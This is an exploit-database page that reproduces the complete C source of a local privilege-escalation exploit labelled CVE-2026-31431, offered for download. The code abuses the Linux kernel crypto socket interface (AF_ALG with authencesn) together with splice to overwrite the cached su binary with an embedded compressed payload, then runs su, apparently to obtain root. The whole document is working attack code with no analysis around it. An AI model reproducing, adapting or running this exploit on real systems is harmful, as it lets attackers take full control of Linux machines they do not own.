Exploit databaseDownload repository ZIP
GH-809abf46f04e4a3af54e6eeb2879615c
bigwario/copy-fail-cve-2026-31431-c
Sources for CVE-2026-31431
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files5
bigwario/copy-fail-cve-2026-31431-cRevision 8b5de20cd927
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.c
C · 4,264 bytes#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <zlib.h>
#include <errno.h>
#ifndef MSG_SPLICE_PAGES
#define MSG_SPLICE_PAGES 0x8000
#endif
#define RECV_BUF_SIZE 16384
static unsigned char compressed[] = {
0x78, 0xda, 0xab, 0x77, 0xf5, 0x71, 0x63, 0x62, 0x64, 0x64, 0x80, 0x01,
0x26, 0x06, 0x3b, 0x06, 0x10, 0xaf, 0x82, 0xc1, 0x01, 0xcc, 0x77, 0x60,
0xc0, 0x04, 0x0e, 0x0c, 0x16, 0x0c, 0x30, 0x1d, 0x20, 0x9a, 0x15, 0x4d,
0x16, 0x99, 0x9e, 0x07, 0xe5, 0xc1, 0x68, 0x06, 0x01, 0x08, 0x65, 0x78,
0xc0, 0xf0, 0xff, 0x86, 0x4c, 0x7e, 0x56, 0x8f, 0x5e, 0x5b, 0x7e, 0x10,
0xf7, 0x5b, 0x96, 0x75, 0xc4, 0x4c, 0x7e, 0x56, 0xc3, 0xff, 0x59, 0x36,
0x11, 0xfc, 0xac, 0xfa, 0x49, 0x99, 0x79, 0xfa, 0xc5, 0x19, 0x0c, 0x0c,
0x0c, 0x00, 0x32, 0xc3, 0x10, 0xd3
};
static void run_exploit(int fd_su, int off, const unsigned char *chunk) {
int algfd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (algfd < 0) return;
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "authencesn(hmac(sha256),cbc(aes))"
};
if (bind(algfd, (struct sockaddr*)&sa, sizeof(sa)) < 0) {
close(algfd);
return;
}
unsigned char key[80];
memset(key, 0, sizeof(key));
key[0] = 0x08; key[2] = 0x01; key[7] = 0x10;
if (setsockopt(algfd, SOL_ALG, ALG_SET_KEY, key, sizeof(key)) < 0) {
close(algfd);
return;
}
int authsize = 4;
setsockopt(algfd, SOL_ALG, 5, &authsize, sizeof(authsize));
int opfd = accept(algfd, NULL, 0);
if (opfd < 0) {
close(algfd);
return;
}
union {
char buf[CMSG_SPACE(4) + CMSG_SPACE(20) + CMSG_SPACE(4)];
struct cmsghdr align;
} u;
memset(u.buf, 0, sizeof(u.buf));
struct msghdr msg = {0};
msg.msg_control = u.buf;
msg.msg_controllen = sizeof(u.buf);
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = 3;
cmsg->cmsg_len = CMSG_LEN(4);
*(unsigned int*)CMSG_DATA(cmsg) = 0;
cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = 2;
cmsg->cmsg_len = CMSG_LEN(20);
memset(CMSG_DATA(cmsg), 0, 20);
*(unsigned char*)CMSG_DATA(cmsg) = 0x10;
cmsg = CMSG_NXTHDR(&msg, cmsg);
cmsg->cmsg_level = SOL_ALG;
cmsg->cmsg_type = 4;
cmsg->cmsg_len = CMSG_LEN(4);
*(unsigned int*)CMSG_DATA(cmsg) = 8;
unsigned char assoc_data[8];
memcpy(assoc_data, "AAAA", 4);
memcpy(assoc_data + 4, chunk, 4);
struct iovec iov = { .iov_base = assoc_data, .iov_len = 8 };
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
if (sendmsg(opfd, &msg, MSG_SPLICE_PAGES) < 0) {
goto cleanup;
}
int pipefd[2];
if (pipe(pipefd) < 0) goto cleanup;
size_t total = off + 4;
loff_t offset_src = 0;
if (splice(fd_su, &offset_src, pipefd[1], NULL, total, 0) >= 0) {
splice(pipefd[0], NULL, opfd, NULL, total, 0);
}
close(pipefd[0]);
close(pipefd[1]);
static char bounce[RECV_BUF_SIZE];
recv(opfd, bounce, sizeof(bounce), MSG_DONTWAIT);
cleanup:
close(opfd);
close(algfd);
}
int main(void) {
printf("Exploit by CharlesZ v0.1\n");
unsigned long len = 4096;
unsigned char *payload = malloc(len);
if (!payload) return 1;
int ret = uncompress(payload, &len, compressed, sizeof(compressed));
if (ret != Z_OK) {
free(payload);
return 1;
}
char su_path[256];
FILE *pp = popen("which su", "r");
if (!pp) {
free(payload);
return 1;
}
if (fgets(su_path, sizeof(su_path), pp) != NULL) {
su_path[strcspn(su_path, "\n")] = 0;
} else {
pclose(pp);
free(payload);
return 1;
}
pclose(pp);
int fd = open(su_path, O_RDONLY);
if (fd < 0) {
free(payload);
return 1;
}
for (unsigned int i = 0; i < len; i += 4) {
run_exploit(fd, i, payload + i);
if (i % 128 == 0) usleep(10);
}
close(fd);
free(payload);
sync();
system("su");
return 0;
}